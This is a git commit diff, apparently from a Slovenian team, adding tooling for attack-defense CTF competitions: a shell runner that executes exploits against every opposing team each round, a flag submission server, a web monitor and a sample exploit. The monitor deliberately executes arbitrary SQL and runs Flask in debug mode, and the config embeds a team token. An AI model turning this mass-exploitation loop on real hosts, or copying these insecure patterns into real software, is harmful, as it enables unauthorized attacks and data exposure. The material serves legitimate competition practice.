summaryrefslogtreecommitdiffstats
path: root/iv/orodja/napad
diff options
context:
space:
mode:
Diffstat (limited to 'iv/orodja/napad')
-rw-r--r--iv/orodja/napad/.gitignore2
-rw-r--r--iv/orodja/napad/README.md63
-rwxr-xr-xiv/orodja/napad/exploit.sh151
-rwxr-xr-xiv/orodja/napad/genconfig.sh114
-rwxr-xr-xiv/orodja/napad/nadzor.py36
-rwxr-xr-xiv/orodja/napad/submission.py89
-rwxr-xr-xiv/orodja/napad/template.py10
-rw-r--r--iv/orodja/napad/templates/frontend.html58
8 files changed, 523 insertions, 0 deletions
diff --git a/iv/orodja/napad/.gitignore b/iv/orodja/napad/.gitignore
new file mode 100644
index 0000000..c1148b6
--- /dev/null
+++ b/iv/orodja/napad/.gitignore
@@ -0,0 +1,2 @@
+flags.db
+config
diff --git a/iv/orodja/napad/README.md b/iv/orodja/napad/README.md
new file mode 100644
index 0000000..01fb06e
--- /dev/null
+++ b/iv/orodja/napad/README.md
@@ -0,0 +1,63 @@
+napad
+=====
+
+Preprosto rezervno orodje za napadanje na A/D tekmovanjih. To so navodila za uporabo.
+
+Sistem exploitov ne poganja na centralni lokaciji. Ločen je torej na dva dela, del na strežniku za oddajo zastavic (submission.py) in preprost webui monitoring (nadzor.py), in del, ki poganja exploit skript in oddaja strežniškemu delu zastavice in z njimi dodatne metapodatke (exploit.sh).
+
+Za administratorja ekipne infrastrukture
+----------------------------------------
+
+Na strežniku tečeta dva programa, submission.py in nadzor.py.
+
+### Konfiguracija
+
+Konfiguracijsko datoteko generiramo s skriptom genconfig.sh, njen stdout pošljemo v datoteko config. Celotna konfiguracija je v okolju procesa (environment), bodisi exploit.sh bodisi submission.py. S sourcanjem datoteke v lupini (source config) namestimo konfiguracijo.
+
+Generirano konfiguracijsko datoteko se nekam shrani in v .bashrc doda vrstico "source pot/do/config". Pošlje se jo tudi tekmovalcem. Ista je za strežniški in napadalni del.
+
+### submission.py
+
+Poženemo ./submission.py. Posluša na TCP vratih, kot je določeno v konfiguraciji. Če zanemarimo DoS vstavljanje flagov (kar je zoprno), je mišljeno, da preko tega TCP ne moremo krasti zastavic iz baze ali jih brisati.
+
+Skript za zaganjanje exploitov bo na ta TCP vrata pošiljal ukradene zastavice.
+
+Vse dobljene zastavice in metapodatke hrani v sqlite3 podatkovno zbirko.
+
+### nadzor.py
+
+Preprost spletni vmesnik. Omogoča prenos HTML datoteke (GET /) in izvajanje poljubnih SQL ukazov na zbriko (POST /sql). Kdor ima dostop do spletnega vmesnika, lahko briše zastavice in jih krade iz zbirke.
+
+Na vmesniku je dostopna neka read-only statistika, ki se sproti osvežuje (hiter pregled) in polje za izvajanje SQL ukazov.
+
+Za ostale tekmovalce v ekipi
+----------------------------
+
+### Namestitev
+
+Prenesite si konfiguracijsko datoteko config, ki vam jo generira administrator ter poskrbite, da se v vaši lupini samodejno "sourca", s čimer se nastavijo konfiguracijske spremenljivke v okolje.
+
+`wget -O ~/.config/napad.config http://k.4a.si/config`
+`echo source ~/.config/napad.conf >> ~/.bashrc`
+
+Nato prenesemo exploit.sh na neko mesto, ki je v PATHu.
+
+`wget -O ~/.local/bin/ http://k.4a.si/exploit.sh`
+`chmod +x ~/.local/bin/exploit.sh`
+
+Namestiti je treba še program `curl`, saj se uporablja za vleko flagidjev.
+
+### Pisanje exploitov
+
+
+Exploiti delujejo enako kot pri ataki, le brez docker containerjev. Primer exploita je v template.py. Exploit dobi target IP v okoljski spremenljivki `TARGET_IP` in flag ids v `TARGET_EXTRA` kot json objekt. Exploit naj flage zapiše v stdout, lahko pa seveda poleg flagov piše še kaj drugega, flagi pa bodo izluščeni iz njegovega izhoda.
+
+Dodatne opcije exploit.sh in seznam servicov dobimo z ukazom `exploit.sh` (brez argumentov).
+
+Exploit testiramo na eni ekipi na trenutni rundi z ukazom `exploit.sh once servicename ./naš_exploit.py 24`, kjer je 24 opcijski argument --- številka ekipe, ki jo želimo napasti, privzeto je to ekipa NOP.
+
+Ko smo zadovoljni z exploitom, ga poženemo v "loop" načinu, torej poganjamo ga v zanki do konca igre, enkrat na vsako rundo z ukazom `exploit.sh loop servicename ./naš_exploit.py`. Če se kaj zalomi (neuspela povezava na submission, exploit je crknil z neničelno kodo), dobimo sporočilo na terminal in **desktop obvestilo**.
+
+Če je le možno, inštalirajte program `parallel` (GNU parallel). Brez njega se bodo exploiti izvajali zaporedno, z njim pa sočasno! Poleg tega bo parallel še rdeče obarval izhod na terminal, ko se zgodi napaka.
+
+Za vsako rundo in za vsako ekipo program na terminal izpiše, koliko zastavic je pobral.
diff --git a/iv/orodja/napad/exploit.sh b/iv/orodja/napad/exploit.sh
new file mode 100755
index 0000000..9e2cafb
--- /dev/null
+++ b/iv/orodja/napad/exploit.sh
@@ -0,0 +1,151 @@
+#!/bin/sh
+if [ x$1 = x ]
+then
+cat >&2 <<EOF
+No command. Usage: $0 <subcommand> [args ...] Subcommands:
+ once <service> <exploit> [team=$GAME_NOP_TEAM] # runs exploit once
+ loop <service> <exploit> # once per team per round, waits for next round
+<exploit> is an executable file. Flags, grepped from stdout, are submitted.
+It is called for every target with the following environment variables:
+ TARGET_IP: target IP address (uses game_target_ip from config)
+ TARGET_EXTRA: Flag IDs JSON object (uses game_flag_ids_url in config)
+ FLAG_ID_<key>: Every JSON value from flag IDs individually
+Example environment is therefore:
+ TARGET_IP=1.1.1.1 TARGET_EXTRA='{"a": "1", "b": "2"}' FLAG_ID_a=1 FLAG_ID_b=2
+In loop mode, exploit is first exec'd rapidly for still valid old rounds.
+Max execution time is $EXPLOIT_TIMEOUT seconds (EXPLOIT_TIMEOUT in config)
+Exploits are not run in parallel.
+Make sure that your system time is set CORRECTLY TO THE SECOND, it's used
+ to get the current round id. Check this on http://time.is
+Configuration values are also available in environment of exploits.
+<service> is the name of the service (used for getting flag IDs)
+Set the following environment variables to alter behaviour:
+ EXPLOIT_STDOUT=1: stdout of exploit will be printed to stderr/terminal
+ EXPLOIT_LOOP_ONCE=1: exit after executing for all valid rounds instead of
+ waiting for the next round. Only valid for loop subcommand.
+ EXPLOIT_VERBOSE=1: print _every_ line executed by $0 (set -x)
+ EXPLOIT_NOTPARALLEL=1: disable parallel even if parallel is available
+$EXPLOIT_ADDITIONAL_HELP_TEXT
+EOF
+ exit 1
+fi
+[ ${EXPLOIT_VERBOSE:-false} = false ] || set -x
+set -euo pipefail
+current_round_id()
+{ # BREAKS WHEN THERE ARE LEAP SECONDS DURING GAME
+ startunix=`date +%s --utc --date $GAME_START`
+ current=`date +%s --utc`
+ echo $((($current-$startunix)/$ROUND_DURATION))
+}
+if [ ${ROUND_ID:-x} = x ]
+then
+ export ROUND_ID=`current_round_id`
+fi
+subcommand=$1
+service=$2
+exploit=$3
+# tees stdout, collects flags, puts stdout to stderr, prints counts
+# args: team
+exploit_pipe()
+{
+ stdoutwhere=/dev/null
+ [ ! ${EXPLOIT_STDOUT:-false} = false ] && stdoutwhere=/dev/stderr
+ tee $stdoutwhere | { grep -Eo "$FLAG_REGEX_SEARCH" || :; } | while read -r line
+ do
+ echo $line $1 $ROUND_ID $service $exploit `whoami`@`hostname``pwd`
+ done | { nc -N $SUBMISSION_HOST $SUBMISSION_PORT || return $((200+$?)); } | cut -d\ -f1,2 | sort | uniq -c | tr $'\n' ' ' | cat <(printf "team=%-2d round=%d: " $1 $ROUND_ID) /dev/stdin <(echo) >&2
+}
+# args: team round
+get_flag_ids()
+{
+ set +e
+ output_flagids=$(curl --fail-with-body --no-progress-meter "`game_flag_ids_url "$service" $1 $2`")
+ curl_exit_code=$?
+ set -e
+ echo $output_flagids
+ if [ ! $curl_exit_code -eq 0 ]
+ then
+ send_error $1 "round=$round failed to get flag ids: $output_flagids" >&2
+ return 99
+ fi
+}
+# args: team message
+send_error()
+{
+ echo [$0] ERROR: team=$1: $2
+ exploit_error_handler "$service" $1 `pwd` `whoami`@`hostname` $2
+}
+case $subcommand in
+ once)
+ target_team=$GAME_NOP_TEAM
+ if [ $# -ge 4 ]
+ then
+ target_team=$4
+ fi
+ export TARGET_IP=`game_target_ip $target_team`
+ export TARGET_EXTRA="`get_flag_ids $target_team $ROUND_ID`"
+ source <(echo "$TARGET_EXTRA" | jq -r 'to_entries|map("export FLAG_ID_\(.key|sub("'"'"'";""))='"'"'\(.value|tostring|sub("'"'"'";"'"'\\\"'\\\"'"'"))'"'"'")|.[]')
+ set +e
+ timeout $EXPLOIT_TIMEOUT $exploit | exploit_pipe $target_team
+ exit_code=$?
+ set -e
+ if [ $exit_code -gt 200 ]
+ then
+ send_error $target_team "submission netcat failed with $(($exit_code-200))"
+ exit $exit_code
+ fi
+ if [ ! $exit_code -eq 0 ] && [ ! $exit_code -eq 124 ]
+ then
+ send_error $target_team "$exploit exited with $exit_code"
+ fi
+ if [ $exit_code -eq 124 ]
+ then
+ echo [$0] team=$target_team $exploit timed out >&2
+ fi
+ exit $exit_code
+ ;;
+ loop)
+ if parallel --version > /dev/null && [ ${EXPLOIT_NOTPARALLEL:-false} = false ]
+ then
+ commands_evaluator="parallel --color-failed"
+ commands_output="/dev/stdout"
+ have_parallel=true
+ echo "[$0] using parallel executions (:" >&2
+ else
+ commands_evaluator="cat /dev/stdin"
+ commands_output="/dev/null"
+ have_parallel=false
+ echo "[$0] parallel not found or disabled! zaporedno izvajanje ):" >&2
+ fi
+ round=$(($ROUND_ID-$GAME_VALID_ROUNDS))
+ while :
+ do
+ for target_team in $GAME_TEAMS
+ do
+ cmd2exec="ROUND_ID=$round $0 once '$service' $exploit $target_team"
+ if $have_parallel
+ then
+ echo $cmd2exec
+ else
+ eval $cmd2exec
+ fi
+ done | $commands_evaluator > $commands_output
+ round=$(($round+1))
+ we_slept=false
+ while [ `current_round_id` -lt $round ]
+ do # oh no we pollin thats ugly af, who cares we have
+ if [ ! ${EXPLOIT_LOOP_ONCE:-false} = false ]
+ then
+ echo [$0] breaking due to EXPLOIT_LOOP_ONCE
+ break
+ fi
+ we_slept=true
+ sleep 1 # INFINITE CPU POWAH!
+ done
+ if $we_slept
+ then # execute exploit at random time instead of at start
+ sleep $(($RANDOM%$ROUND_DURATION/2))
+ fi
+ done
+ ;;
+esac
diff --git a/iv/orodja/napad/genconfig.sh b/iv/orodja/napad/genconfig.sh
new file mode 100755
index 0000000..825da18
--- /dev/null
+++ b/iv/orodja/napad/genconfig.sh
@@ -0,0 +1,114 @@
+#!/bin/bash
+set -xeuo pipefail
+statusresp=`curl --fail-with-body --no-progress-meter https://ad.ecsc2024.it/api/status`
+starttime=`jq --raw-output .start <<<"$statusresp"`
+roundtime=`jq --raw-output .roundTime <<<"$statusresp"`
+team_names=`jq --raw-output .teams.[].shortname <<<"$statusresp" | tr $'\n' ' '`
+team_numbers=`jq --raw-output .teams.[].id <<<"$statusresp" | tr $'\n' ' '`
+services=`jq --raw-output .services.[].shortname <<<"$statusresp" | tr $'\n' ' '`
+cat <<EOF
+# THIS CONFIG IS AUTOGENERATED BY genconfig.sh, edit config values there!
+# Common config for exploit.sh, submission.py and nadzor.py
+# It is to be sourced. It only sets environment variables.
+
+# ==========================
+# ========= COMMON =========
+
+export SUBMISSION_PORT=21502
+
+# ==========================
+# ======= EXPLOIT.SH =======
+
+# Additional help text
+export EXPLOIT_ADDITIONAL_HELP_TEXT="Services: $services"
+
+# This regex is used to grep -Eo flags from stdout of exploits before submitting them
+export FLAG_REGEX_SEARCH="[A-Za-z0-9]{31}="
+
+# Where can exploit.sh find submission.py. Port is a common setting.
+export SUBMISSION_HOST=localhost
+### export SUBMISSION_HOST=k.4a.si
+
+# Must be precise, not less than round duration. Used to calculate round id.
+export ROUND_DURATION=$roundtime
+
+# When does the game start (in UTC). Used to calculate current round id.
+export GAME_START=$starttime
+
+# Team numbers to attack
+export GAME_TEAMS="$team_numbers"
+###export GAME_TEAMS={0..10}
+EOF
+cat <<'EOF'
+# Flag IDs URL
+game_flag_ids_url()
+{
+ echo http://splet.4a.si/dir/flagids.txt
+ ### echo "http://10.10.0.1:8081/flagIds?service=$1&team=$2&round=$3"
+}
+export -f game_flag_ids_url
+
+# Target IP from ID
+game_target_ip()
+{
+ echo 10.69.69.$1
+ ### echo 10.60.$1.1
+}
+export -f game_target_ip
+
+# NOP TEAM ID
+export GAME_NOP_TEAM=0
+
+# For how many non-current rounds are flags valid at a time?
+# It doesn't make sense for this to be less than 0.
+# Setting to 0 means only the current round is valid.
+export GAME_VALID_ROUNDS=4
+
+# Function exploit.sh should call on errors.
+# Args: service team pwd usr@pc message
+# 1 2 3 4 5
+exploit_error_handler()
+{
+ notify-send --version > /dev/null && notify-send "exploit.sh ERROR" "$5" --urgency critical
+}
+export -f exploit_error_handler
+
+# Max exploit execution time
+export EXPLOIT_TIMEOUT=5
+
+# ==========================
+# ====== SUBMISSION.PY =====
+
+# This regex is used to verify flags before storing them
+# It can be .*, no problem, just make sure you're then not sending invalid flags
+# to submission TCP -- you shouldn't anyways, as submission expects flags neatly
+# line by line, it will not clean up random bullshit.
+# Don't just send exploit stdout to submission, use exploit.sh!
+export FLAG_REGEX_MATCH="^[A-Z0-9]{31}=$"
+
+# Where to store flags -- sqlite3 db
+export SUBMISSION_DB=flags.db
+
+# How much flags to send in one request.
+# With 2560, if it takes 37 bytes per flag, 2560*37=94720
+# Ostane nam torej še dobrih 5280 za headerje,
+# če je request limited na 100 kB
+export SUBMISSION_MAX_FLAGS=2560
+
+# PUT request, ECSC 2024 AD style
+export SUBMISSION_URL=http://z.4a.si/dir/submit.php
+### export SUBMISSION_URL=http://10.10.0.1:8080/flags
+
+# How many seconds to delay after a successful submission.
+# With 15, we send at most 4 requests per minute out of 15 allowed.
+export SUBMISSION_DELAY=15
+
+# This is sent in X-Team-Token in requests to SUBMISSION_URL
+export SUBMISSION_TEAM_TOKEN=e5152d70a4d18093cae8844f4e959cf1
+
+# Where to bind to. Use SUBMISSION_PORT in common settings for port.
+export SUBMISSION_BIND=::
+
+# ==========================
+# ======== NADZOR.PY =======
+EOF
diff --git a/iv/orodja/napad/nadzor.py b/iv/orodja/napad/nadzor.py
new file mode 100755
index 0000000..515aa3e
--- /dev/null
+++ b/iv/orodja/napad/nadzor.py
@@ -0,0 +1,36 @@
+#!/usr/bin/python3
+from flask import Flask, render_template, request
+import os
+import sqlite3
+import sys
+
+
+app = Flask(__name__)
+
+@app.route("/", methods=["GET"])
+def frontend():
+ return render_template("frontend.html")
+
+@app.route("/sql", methods=["POST"])
+def sql():
+ with sqlite3.connect(os.getenv("SUBMISSION_DB", "flags.db")) as db:
+ db.setconfig(sqlite3.SQLITE_DBCONFIG_DEFENSIVE, True)
+ rows = []
+ for row in db.execute(request.data.decode()):
+ columns = []
+ for column in row:
+ if type(column) == bytes:
+ columns.append(column.decode("utf-8", errors="surrogateescape"))
+ else:
+ columns.append(column)
+ rows.append(columns)
+ return rows
+
+if __name__ == "__main__":
+ port = 21503
+ host = "::"
+ if len(sys.argv) > 1:
+ port = int(sys.argv[1])
+ if len(sys.argv) > 2:
+ host = sys.argv[2]
+ app.run(port=port, debug=True, host=host)
diff --git a/iv/orodja/napad/submission.py b/iv/orodja/napad/submission.py
new file mode 100755
index 0000000..c345bdb
--- /dev/null
+++ b/iv/orodja/napad/submission.py
@@ -0,0 +1,89 @@
+#!/usr/bin/python3
+import os
+import asyncio
+import re
+import sqlite3
+import aiohttp
+import traceback
+db = sqlite3.connect(os.getenv("SUBMISSION_DB", "flags.db"))
+db.execute("CREATE TABLE IF NOT EXISTS flags (id INTEGER PRIMARY KEY, flag TEXT NOT NULL UNIQUE, team INTEGER, service BLOB, round INTEGER, context BLOB, sent INTEGER NOT NULL DEFAULT 0, date TEXT DEFAULT (strftime('%FT%R:%f', 'now')) NOT NULL, status TEXT, msg TEXT, submitted TEXT) STRICT") # submitted is date
+flag_regex = re.compile(os.getenv("FLAG_REGEX_MATCH", "^[A-Z0-9]{31}=$").encode(), re.ASCII | re.DOTALL | re.VERBOSE)
+async def submitter ():
+ while True:
+ flags_balance = dict()
+ unsent_flags = 0
+ for flag, team, service in db.execute("SELECT flag, team, service FROM flags WHERE sent == 0 ORDER BY date DESC"):
+ if (team, service) not in flags_balance.keys():
+ flags_balance[(team, service)] = []
+ flags_balance[(team, service)].append(flag)
+ unsent_flags += 1
+ flags = []
+ while len(flags) < int(os.getenv("SUBMISSION_MAX_FLAGS", "2560")) and unsent_flags > 0: # to zna biti počasno, najdi lepši način
+ for key in [x for x in flags_balance.keys()]:
+ try:
+ zastava = flags_balance[key].pop(0)
+ except IndexError:
+ flags_balance.pop(key)
+ else:
+ flags.append(zastava)
+ unsent_flags -= 1
+ if len(flags) == 0:
+ await asyncio.sleep(1)
+ continue
+ for i in [1]:
+ async with aiohttp.ClientSession(headers={"X-Team-Token": os.getenv("SUBMISSION_TEAM_TOKEN")}) as session:
+ try:
+ async with session.put(os.getenv("SUBMISSION_URL", 'http://10.10.0.1:8080/flags'), json=flags) as response:
+ if response.status // 100 != 2:
+ print("submitter error: " + await response.text())
+ break
+ cursor = db.cursor()
+ for obj in await response.json():
+ cursor.execute("UPDATE flags SET sent=?, status=?, msg=?, submitted=strftime('%FT%R:%f', 'now') WHERE flag=?", [int(obj.get("status") != "RESUBMIT"), obj.get("status"), obj.get("msg"), obj.get("flag")])
+ db.commit()
+ except Exception as e:
+ traceback.print_exc()
+ await asyncio.sleep(int(os.getenv("SUBMISSION_DELAY", "15")))
+async def handle_client (reader, writer):
+ while True:
+ try: # SUBMISSION LINE FORMAT: "flag teamnumber roundnumber service any other context"
+ incoming = await reader.readuntil(b'\n')
+ except asyncio.exceptions.IncompleteReadError as e:
+ if int(str(e).split(" ")[0]) == 0:
+ break
+ raise e
+ if len(incoming) == 0:
+ break
+ buffer = incoming.replace(b'\r', b'').replace(b'\n', b'')
+ if re.match(flag_regex, buffer.split(b' ')[0]) == None:
+ writer.write(b'BAD_FLAG\n')
+ continue
+ flag = buffer.split(b' ')[0].decode()
+ context = b' '.join(buffer.split(b' ')[1:])
+ try:
+ team = int(buffer.split(b' ')[1].decode())
+ except (ValueError, UnicodeDecodeError, IndexError):
+ team = -1
+ try:
+ runda = int(buffer.split(b' ')[2].decode())
+ except (ValueError, UnicodeDecodeError, IndexError):
+ runda = -1
+ try:
+ service = buffer.split(b' ')[3]
+ except IndexError:
+ service = None
+ try:
+ db.execute("INSERT INTO flags (flag, team, service, round, context) VALUES (?, ?, ?, ?, ?)", [flag, team, service, runda, context])
+ except sqlite3.IntegrityError:
+ status, msg, date, context = [x for x in db.execute("SELECT status, msg, date, context FROM flags WHERE flag=?", [flag])][0]
+ writer.write(b"OLD_FLAG " + str(status).encode() + b" " + date.encode() + b" " + context + b"\t" + str(msg).encode() + b"\n")
+ else:
+ writer.write(b'NEW_FLAG\n')
+ writer.close()
+async def run_server ():
+ server = await asyncio.start_server(handle_client, os.getenv("SUBMISSION_BIND", "::"), os.getenv("SUBMISSION_PORT", "21502"))
+ event_loop = asyncio.get_event_loop()
+ event_loop.create_task(submitter())
+ async with server:
+ await server.serve_forever()
+asyncio.run(run_server())
diff --git a/iv/orodja/napad/template.py b/iv/orodja/napad/template.py
new file mode 100755
index 0000000..2629fe9
--- /dev/null
+++ b/iv/orodja/napad/template.py
@@ -0,0 +1,10 @@
+#!/usr/bin/python3
+import os
+import requests
+import json
+target = os.getenv("TARGET_IP")
+extra = json.loads(os.getenv("TARGET_EXTRA", "{}"))
+with requests.Session() as s:
+ userid = extra["userid"]
+ response = s.get(f"http://{target}:80/dir/flags.txt?user={userid}")
+ print(response.text)
diff --git a/iv/orodja/napad/templates/frontend.html b/iv/orodja/napad/templates/frontend.html
new file mode 100644
index 0000000..8f0389d
--- /dev/null
+++ b/iv/orodja/napad/templates/frontend.html
@@ -0,0 +1,58 @@
+<meta name=viewport content='width=device-width, initial-scale=1.0'>
+<meta charset=utf-8 />
+<style>
+table, td, tr, th {
+ border: 1px solid red;
+}
+</style>
+<title>napad/nadzor.py</title>
+<h1>napad/nadzor.py</h1>
+<table>
+<tr>
+<th>
+ime podatka
+</th>
+<th>
+vrednost
+</th>
+</tr>
+<tr><td>čas zadnje ACCEPTED zastavice</td><td id=lastaccepteddate></td></tr>
+<tr><td>neposlanih zastavic</td><td id=notsentcount></td></tr>
+</table>
+<div id=groupbymsg></div>
+<label for=customquery>
+<h3>custom query</h3>
+</label>
+<textarea cols=80 id=customquery placeholder="select * from flags limit 10">select flag,date,msg from flags limit 10</textarea>
+<div id=customqueryres></div>
+<script>
+function htmltablefromquery (rows) {
+ let table = document.createElement("table");
+ for (let i = 0; i < rows.length; i++) {
+ let tr = document.createElement("tr");
+ for (let j = 0; j < rows[i].length; j++) {
+ let td = document.createElement("td");
+ td.innerText = rows[i][j];
+ tr.appendChild(td);
+ }
+ let td = document.createElement("td");
+ td.innerText = rows[i][1];
+ table.appendChild(tr);
+ }
+ return table;
+}
+async function refreshview () {
+ fetch("sql", {"method": "post", "body": "select count(flag) from flags where sent=0"}).then((r) => {r.json().then((t)=>{notsentcount.innerText = t[0][0]})});
+ let msgskip = 6; // 36 v dejanski igri
+ fetch("sql", {"method": "post", "body": "select substr(msg, " + msgskip + "),count(substr(msg, " + msgskip + ")) from flags group by substr(msg, " + msgskip + ")"}).then((r) => {r.json().then((rows)=>{
+ groupbymsg.innerHTML = "";
+ groupbymsg.appendChild(htmltablefromquery(rows));
+ })});
+ fetch("sql", {"method": "post", "body": "select submitted from flags where status='ACCEPTED' order by submitted desc limit 1"}).then((r) => {r.json().then((t)=>{lastaccepteddate.innerText = t[0][0]})});
+ fetch("sql", {"method": "post", "body": customquery.value}).then((r) => {r.json().then((rows)=>{
+ customqueryres.innerHTML = "";
+ customqueryres.appendChild(htmltablefromquery(rows));
+ })});
+}
+setInterval(refreshview, 5555);
+</script>